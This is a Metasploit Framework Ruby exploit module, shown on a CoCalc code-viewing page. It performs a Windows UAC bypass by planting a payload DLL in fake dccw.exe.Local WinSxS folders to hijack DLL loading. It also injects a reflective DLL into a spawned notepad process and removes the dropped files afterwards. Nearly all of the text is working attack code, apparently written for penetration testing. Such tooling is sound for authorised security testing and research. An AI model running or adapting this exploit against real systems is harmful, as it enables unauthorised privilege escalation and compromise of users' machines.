Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/local/bypassuac_injection_winsxs.rb
19591 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Local
7
Rank = ExcellentRanking
8
9
include Exploit::EXE
10
include Exploit::FileDropper
11
include Post::File
12
include Post::Windows::Priv
13
include Post::Windows::ReflectiveDLLInjection
14
include Post::Windows::Runas
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'Windows Escalate UAC Protection Bypass (In Memory Injection) abusing WinSXS',
21
'Description' => %q{
22
This module will bypass Windows UAC by utilizing the trusted publisher
23
certificate through process injection. It will spawn a second shell that
24
has the UAC flag turned off by abusing the way "WinSxS" works in Windows
25
systems. This module uses the Reflective DLL Injection technique to drop
26
only the DLL payload binary instead of three seperate binaries in the
27
standard technique. However, it requires the correct architecture to be
28
selected, (use x64 for SYSWOW64 systems also).
29
},
30
'License' => MSF_LICENSE,
31
'Author' => [
32
'Ernesto Fernandez "L3cr0f" <ernesto.fernpro[at]gmail.com>'
33
],
34
'Platform' => [ 'win' ],
35
'SessionTypes' => [ 'meterpreter' ],
36
'Targets' => [
37
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
38
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
39
],
40
'DefaultTarget' => 0,
41
'References' => [
42
['URL', 'https://github.com/L3cr0f/DccwBypassUAC']
43
],
44
'DisclosureDate' => '2017-04-06',
45
'Compat' => {
46
'Meterpreter' => {
47
'Commands' => %w[
48
stdapi_fs_delete_dir
49
stdapi_fs_delete_file
50
stdapi_fs_stat
51
stdapi_railgun_api
52
stdapi_sys_process_attach
53
stdapi_sys_process_memory_allocate
54
stdapi_sys_process_memory_write
55
stdapi_sys_process_thread_create
56
]
57
}
58
},
59
'Notes' => {
60
'Reliability' => UNKNOWN_RELIABILITY,
61
'Stability' => UNKNOWN_STABILITY,
62
'SideEffects' => UNKNOWN_SIDE_EFFECTS
63
}
64
)
65
)
66
end
67
68
def exploit
69
# Validate that we can actually do things before we bother
70
# doing any more work
71
validate_environment!
72
check_permissions!
73
74
# Get all required environment variables in one shot instead. This
75
# is a better approach because we don't constantly make calls through
76
# the session to get the variables.
77
env_vars = get_envs('TEMP', 'WINDIR')
78
79
# Get UAC level so as to verify if the module will be successful
80
case get_uac_level
81
when UAC_PROMPT_CREDS_IF_SECURE_DESKTOP,
82
UAC_PROMPT_CONSENT_IF_SECURE_DESKTOP,
83
UAC_PROMPT_CREDS, UAC_PROMPT_CONSENT
84
fail_with(Failure::NotVulnerable,
85
"UAC is set to 'Always Notify'. This module does not bypass this setting, exiting...")
86
when UAC_DEFAULT
87
print_good('UAC is set to Default')
88
print_good('BypassUAC can bypass this setting, continuing...')
89
when UAC_NO_PROMPT
90
print_warning('UAC set to DoNotPrompt - using ShellExecute "runas" method instead')
91
shell_execute_exe
92
return
93
end
94
95
dll_path = bypass_dll_path
96
payload_filepath = "#{env_vars['TEMP']}\\dccw.exe.Local"
97
98
# Establish the folder pattern so as to get those folders that match it
99
sysarch = sysinfo['Architecture']
100
if sysarch == ARCH_X86
101
targetedDirectories = 'C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*'
102
else
103
targetedDirectories = 'C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*'
104
end
105
106
directoryNames = get_directories(payload_filepath, targetedDirectories)
107
create_directories(payload_filepath, directoryNames)
108
upload_payload_dll(payload_filepath, directoryNames)
109
110
pid = spawn_inject_proc(env_vars['WINDIR'])
111
112
file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)
113
run_injection(pid, dll_path, file_paths)
114
end
115
116
# Path to the bypassuac binary and architecture payload checking
117
def bypass_dll_path
118
path = ::File.join(Msf::Config.data_directory, 'post')
119
120
sysarch = sysinfo['Architecture']
121
if sysarch == ARCH_X86
122
if (target_arch.first =~ /64/i) || (payload_instance.arch.first =~ /64/i)
123
fail_with(Failure::BadConfig, 'x64 Target Selected for x86 System')
124
else
125
::File.join(path, 'bypassuac-x86.dll')
126
end
127
elsif (target_arch.first =~ /64/i) && (payload_instance.arch.first =~ /64/i)
128
::File.join(path, 'bypassuac-x64.dll')
129
else
130
fail_with(Failure::BadConfig, 'x86 Target Selected for x64 System')
131
end
132
end
133
134
# Check if the compromised user matches some requirements
135
def check_permissions!
136
# Check if you are an admin
137
vprint_status('Checking admin status...')
138
admin_group = is_in_admin_group?
139
140
if admin_group.nil?
141
print_error('Either whoami is not there or failed to execute')
142
print_error('Continuing under assumption you already checked...')
143
elsif admin_group
144
print_good('Part of Administrators group! Continuing...')
145
else
146
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
147
end
148
149
if get_integrity_level == INTEGRITY_LEVEL_SID[:low]
150
fail_with(Failure::NoAccess, 'Cannot BypassUAC from Low Integrity Level')
151
end
152
end
153
154
# Inject and run the DLL within a trusted certificate signed process to invoke IFileOperation
155
def run_injection(pid, dll_path, file_paths)
156
vprint_status("Injecting #{datastore['DLL_PATH']} into process ID #{pid}")
157
begin
158
path_struct = create_struct(file_paths)
159
160
vprint_status("Opening process #{pid}")
161
host_process = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS)
162
exploit_mem, offset = inject_dll_into_process(host_process, dll_path)
163
164
vprint_status("Injecting struct into #{pid}")
165
struct_addr = host_process.memory.allocate(path_struct.length)
166
host_process.memory.write(struct_addr, path_struct)
167
168
vprint_status('Executing payload')
169
thread = host_process.thread.create(exploit_mem + offset, struct_addr)
170
print_good("Successfully injected payload in to process: #{pid}")
171
client.railgun.kernel32.WaitForSingleObject(thread.handle, 14000)
172
rescue Rex::Post::Meterpreter::RequestError => e
173
print_error("Failed to Inject Payload to #{pid}!")
174
vprint_error(e.to_s)
175
end
176
end
177
178
# Create a process in the native architecture
179
def spawn_inject_proc(win_dir)
180
print_status('Spawning process with Windows Publisher Certificate, to inject into...')
181
if sysinfo['Architecture'] == ARCH_X64 && session.arch == ARCH_X86
182
cmd = "#{win_dir}\\sysnative\\notepad.exe"
183
else
184
cmd = "#{win_dir}\\System32\\notepad.exe"
185
end
186
pid = cmd_exec_get_pid(cmd)
187
188
unless pid
189
fail_with(Failure::Unknown, 'Spawning Process failed...')
190
end
191
192
pid
193
end
194
195
# Upload only one DLL, the rest will be copied into the specific folders
196
def upload_payload_dll(_payload_filepath, directoryNames)
197
dllPath = "#{directoryNames[0]}\\GdiPlus.dll"
198
payload = generate_payload_dccw_gdiplus_dll({ dll_exitprocess: true })
199
print_status('Uploading the Payload DLL to the filesystem...')
200
begin
201
vprint_status("Payload DLL #{payload.length} bytes long being uploaded...")
202
write_file(dllPath, payload)
203
rescue Rex::Post::Meterpreter::RequestError => e
204
fail_with(Failure::Unknown, "Error uploading file #{directoryNames[0]}: #{e.class} #{e}")
205
end
206
207
if directoryNames.size > 1
208
copy_payload_dll(directoryNames, dllPath)
209
end
210
end
211
212
# Copy our DLL to all created folders, the first folder already have a copy of the DLL
213
def copy_payload_dll(directoryNames, dllPath)
214
1.step(directoryNames.size - 1, 1) do |i|
215
if client.railgun.kernel32.CopyFileA(dllPath, "#{directoryNames[i]}\\GdiPlus.dll", false)['return'] == false
216
print_error('Error! Cannot copy the payload to all the necessary folders! Continuing just in case it works...')
217
end
218
end
219
end
220
221
# Check if the environment is vulnerable to the exploit
222
def validate_environment!
223
fail_with(Failure::None, 'Already in elevated state') if is_admin? || is_system?
224
225
version = get_version_info
226
if (!version.windows_server? && version.build_number >= Msf::WindowsVersion::Win8) ||
227
(version.windows_server? && version.build_number.between?(Msf::WindowsVersion::Server2016, Msf::WindowsVersion::Server2019))
228
print_good("#{version.product_name} may be vulnerable.")
229
else
230
fail_with(Failure::NotVulnerable, "#{version.product_name} is not vulnerable.")
231
end
232
233
if is_uac_enabled?
234
print_status('UAC is Enabled, checking level...')
235
else
236
unless is_in_admin_group?
237
fail_with(Failure::NoAccess, 'Not in admins group, cannot escalate with this module')
238
end
239
end
240
end
241
242
# Creating the necessary directories to perform the DLL hijacking
243
# Since we don't know which path "dccw.exe" will choose, we create
244
# all the directories that match with the initial pattern
245
def create_directories(payload_filepath, directoryNames)
246
env_vars = get_envs('TEMP')
247
248
print_status('Creating temporary folders...')
249
if client.railgun.kernel32.CreateDirectoryA(payload_filepath, nil)['return'] == 0
250
fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\"")
251
end
252
253
directoryNames.each do |dirName|
254
if client.railgun.kernel32.CreateDirectoryA(dirName, nil)['return'] == 0
255
fail_with(Failure::Unknown, "Cannot create the directory \"#{env_vars['TEMP']}dccw.exe.Local\\#{dirName}\"")
256
end
257
end
258
end
259
260
# Get all the directories that match with the initial pattern
261
def get_directories(payload_filepath, targetedDirectories)
262
directoryNames = []
263
findFileDataSize = 592
264
maxPath = client.railgun.const('MAX_PATH')
265
fileNamePadding = 44
266
267
hFile = client.railgun.kernel32.FindFirstFileA(targetedDirectories, findFileDataSize)
268
if hFile['return'] == client.railgun.const('INVALID_HANDLE_VALUE')
269
fail_with(Failure::Unknown, 'Cannot get the targeted directories!')
270
end
271
272
findFileData = hFile['lpFindFileData']
273
moreFiles = true
274
until moreFiles == false
275
fileAttributes = findFileData[0, 4].unpack('V').first
276
andOperation = fileAttributes & client.railgun.const('FILE_ATTRIBUTE_DIRECTORY')
277
if andOperation
278
# Removes the remainder part composed of 'A' of the path and the last null character
279
normalizedData = findFileData[fileNamePadding, fileNamePadding + maxPath].split("\x00", 2).first
280
path = "#{payload_filepath}\\#{normalizedData}"
281
directoryNames.push(path)
282
end
283
284
findNextFile = client.railgun.kernel32.FindNextFileA(hFile['return'], findFileDataSize)
285
moreFiles = findNextFile['return']
286
findFileData = findNextFile['lpFindFileData']
287
end
288
client.railgun.kernel32.FindClose(hFile['return'])
289
290
if findNextFile['GetLastError'] != client.railgun.const('ERROR_NO_MORE_FILES')
291
fail_with(Failure::Unknown, 'Cannot get the targeted directories!')
292
end
293
294
directoryNames
295
end
296
297
# Store the necessary paths into a struct
298
def get_file_paths(win_path, payload_filepath)
299
paths = {}
300
paths[:szElevDll] = 'dccw.exe.Local'
301
paths[:szElevDir] = "#{win_path}\\System32"
302
paths[:szElevDirSysWow64] = "#{win_path}\\sysnative"
303
paths[:szElevExeFull] = "#{paths[:szElevDir]}\\dccw.exe"
304
paths[:szElevDllFull] = "#{paths[:szElevDir]}\\#{paths[:szElevDll]}"
305
paths[:szTempDllPath] = payload_filepath
306
307
paths
308
end
309
310
# Creates the paths struct which contains all the required paths
311
# the dll needs to copy/execute etc.
312
def create_struct(paths)
313
# Write each path to the structure in the order they
314
# are defined in the bypass uac binary.
315
struct = ''
316
struct << fill_struct_path(paths[:szElevDir])
317
struct << fill_struct_path(paths[:szElevDirSysWow64])
318
struct << fill_struct_path(paths[:szElevDll])
319
struct << fill_struct_path(paths[:szElevDllFull])
320
struct << fill_struct_path(paths[:szElevExeFull])
321
struct << fill_struct_path(paths[:szTempDllPath])
322
323
struct
324
end
325
326
def fill_struct_path(path)
327
path = Rex::Text.to_unicode(path)
328
path + "\x00" * (520 - path.length)
329
end
330
331
# When a new session is obtained, it removes the dropped elements (files and folders)
332
def on_new_session(session)
333
if session.type == 'meterpreter' && !session.ext.aliases.include?('stdapi')
334
session.core.use('stdapi')
335
end
336
remove_dropped_elements(session)
337
end
338
339
# Remove all the created and dropped files and folders
340
def remove_dropped_elements(session)
341
droppedElements = []
342
343
env_vars = get_envs('TEMP', 'WINDIR')
344
payload_filepath = "#{env_vars['TEMP']}\\dccw.exe.Local"
345
346
sysarch = sysinfo['Architecture']
347
if sysarch == ARCH_X86
348
targetedDirectories = 'C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_*'
349
else
350
targetedDirectories = 'C:\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_*'
351
end
352
353
directoryNames = get_directories(payload_filepath, targetedDirectories)
354
file_paths = get_file_paths(env_vars['WINDIR'], payload_filepath)
355
356
# Remove all dropped elements (files and folders)
357
remove_dlls(session, directoryNames, file_paths, droppedElements)
358
remove_winsxs_folders(session, directoryNames, file_paths, droppedElements)
359
remove_dot_local_folders(session, file_paths, droppedElements)
360
361
# Check if the removal was successful
362
removal_checking(droppedElements)
363
end
364
365
# Remove "GdiPlus.dll" from "C:\%TEMP%\dccw.exe.Local\*_microsoft.windows.gdiplus_*\"
366
# and "C:\Windows\System32\dccw.exe.Local\*_microsoft.windows.gdiplus_*\"
367
def remove_dlls(session, directoryNames, file_paths, droppedElements)
368
directoryNames.each do |dirName|
369
directoryName = dirName.split('\\').last
370
371
begin
372
droppedElements.push("#{dirName}\\GdiPlus.dll")
373
session.fs.file.rm("#{dirName}\\GdiPlus.dll")
374
rescue ::Rex::Post::Meterpreter::RequestError => e
375
vprint_error("Error => #{e.class} - #{e}")
376
end
377
378
begin
379
droppedElements.push("#{file_paths[:szElevDllFull]}\\#{directoryName}\\GdiPlus.dll")
380
session.fs.file.rm("#{file_paths[:szElevDllFull]}\\#{directoryName}\\GdiPlus.dll")
381
rescue ::Rex::Post::Meterpreter::RequestError => e
382
vprint_error("Error => #{e.class} - #{e}")
383
end
384
end
385
end
386
387
# Remove folders from "C:\%TEMP%\dccw.exe.Local\" and "C:\Windows\System32\dccw.exe.Local\"
388
def remove_winsxs_folders(session, directoryNames, file_paths, droppedElements)
389
directoryNames.each do |dirName|
390
directoryName = dirName.split('\\').last
391
392
begin
393
droppedElements.push(dirName)
394
session.fs.dir.rmdir(dirName)
395
rescue ::Rex::Post::Meterpreter::RequestError => e
396
vprint_error("Error => #{e.class} - #{e}")
397
end
398
399
begin
400
droppedElements.push("#{file_paths[:szElevDllFull]}\\#{directoryName}")
401
session.fs.dir.rmdir("#{file_paths[:szElevDllFull]}\\#{directoryName}")
402
rescue ::Rex::Post::Meterpreter::RequestError => e
403
vprint_error("Error => #{e.class} - #{e}")
404
end
405
end
406
end
407
408
# Remove "C:\Windows\System32\dccw.exe.Local" folder
409
def remove_dot_local_folders(session, file_paths, droppedElements)
410
begin
411
droppedElements.push(file_paths[:szTempDllPath])
412
session.fs.dir.rmdir(file_paths[:szTempDllPath])
413
rescue ::Rex::Post::Meterpreter::RequestError => e
414
vprint_error("Error => #{e.class} - #{e}")
415
end
416
417
begin
418
droppedElements.push(file_paths[:szElevDllFull])
419
session.fs.dir.rmdir(file_paths[:szElevDllFull])
420
rescue ::Rex::Post::Meterpreter::RequestError => e
421
vprint_error("Error => #{e.class} - #{e}")
422
end
423
end
424
425
# Check if have been successfully removed
426
def removal_checking(droppedElements)
427
successfullyRemoved = true
428
429
droppedElements.each do |element|
430
stat = session.fs.file.stat(element)
431
if stat
432
print_error("Unable to delete #{element}!")
433
successfullyRemoved = false
434
end
435
rescue ::Rex::Post::Meterpreter::RequestError => e
436
vprint_error("Error => #{e.class} - #{e}")
437
end
438
439
if successfullyRemoved
440
print_good('All the dropped elements have been successfully removed')
441
else
442
print_warning('Could not delete some dropped elements! They will require manual cleanup on the target')
443
end
444
end
445
end
446
447